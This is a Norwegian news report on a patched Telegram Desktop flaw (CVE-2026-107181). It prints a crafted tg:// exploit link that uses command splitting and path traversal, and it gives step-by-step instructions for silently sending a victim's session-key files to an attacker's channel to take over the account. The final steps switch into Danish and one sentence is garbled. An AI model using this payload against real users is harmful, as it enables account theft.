Sårbarhet i Telegram Desktop, som gjør det mulig å sende tilfeldige filer ved å klikke på en lenke

Detaljer og metode for utnyttelse av sårbarheten (CVE-2026-107181) i Telegram Desktop, den offisielle Telegram-klienten for stasjonære systemer, er avslørt. Problemet skyldes manglende korrekt behandling av uskebne skilletegn i IPC-kommandoer, noe som gjorde det mulig for angriperen å overføre vilkårlige filer fra offerets system ved å klikke på en sendt lenke, inkludert filer med sesjonsnøkler som kan brukes til å ta over en Telegram-konto. Sårbarheten er rettet i Telegram Desktop 7.2.9-utgaven.

Når man klikker på «tg://»-lenker, starter operativsystemet den tilknyttede appen Telegram Desktop for denne typen lenker. Hvis det allerede er åpnet et annet eksempel av denne appen i systemet, overfører den kjørende prosessen lenken til den via socket ved hjelp av IPC-grensesnittet. Problemet er at hvis man angir symbolet «;» blant lenkeparametrene (for eksempel «tg://x?a=1;OPEN…»), blir innholdet delt opp, og delene som følger etter symbolet «;» blir behandlet som separate kommandoer.

For å utføre angrepet benyttes kommandoen OPEN sammen med URI-skjemaet «interpret:», som er ment for å kjøre hjelpeprogrammer via IPC, som har blitt brukt til automatisk å sende nye utgivelser til kanaler. Skriptet er en forhåndsdefinert lokal fil som angir filen som sendes til kanalen og kanalens ID. Filveien til skriptene behandles relativt til underkatalogen, men på grunn av mangel på rensing av «../» i filveiene har angriperen mulighet til å få tilgang til filer lagret utenfor grunnkatalogen. For eksempel kan man laste opp en fil til sin telegram-gruppe, og deretter referere til denne filen som et skript ved å forberede en lenke som:

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

Trinnene for å gjennomføre angrepet:

• Angriperen legger til offeret i sin gruppe (med standardinnstillinger krever ikke tillegget bekreftelse fra den som legges til) og sender til denne gruppen en tekstfil som angir kanalen og banen til skriptet. Telegram vil lagre denne filen i en forhåndsdefinert systemunderkatalog når offeret går inn i gruppen.

  kanal: 2005234537
  fil: tdata/D877F783D5D3EF8Cs

• Angriperen sender offeret en uskyldig utseende lenke til sin vert (for eksempel «https://coolsite.org»), som ved åpning omdirigeres til serveren angriperen erstattes med en URI av typen ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
• Når du klikker på et link, kalder browseren URI-handleren "tg://", som starter den nævnte kæde af kommandoer, der fører til, at filer sendes til angriberens kanal uden at give nogen meddelelser og uden at anmode om bekræftelse af afsendelsen.
• Når filer modtages fra underkataloget tdata med krypterings- og autorisationsnøgler, kan angriberen, hvis der ikke er indstillet et lokaladgangskode af brugeren, klone offerets forbindelse på sin egen enhed.

Kilde: opennet.ru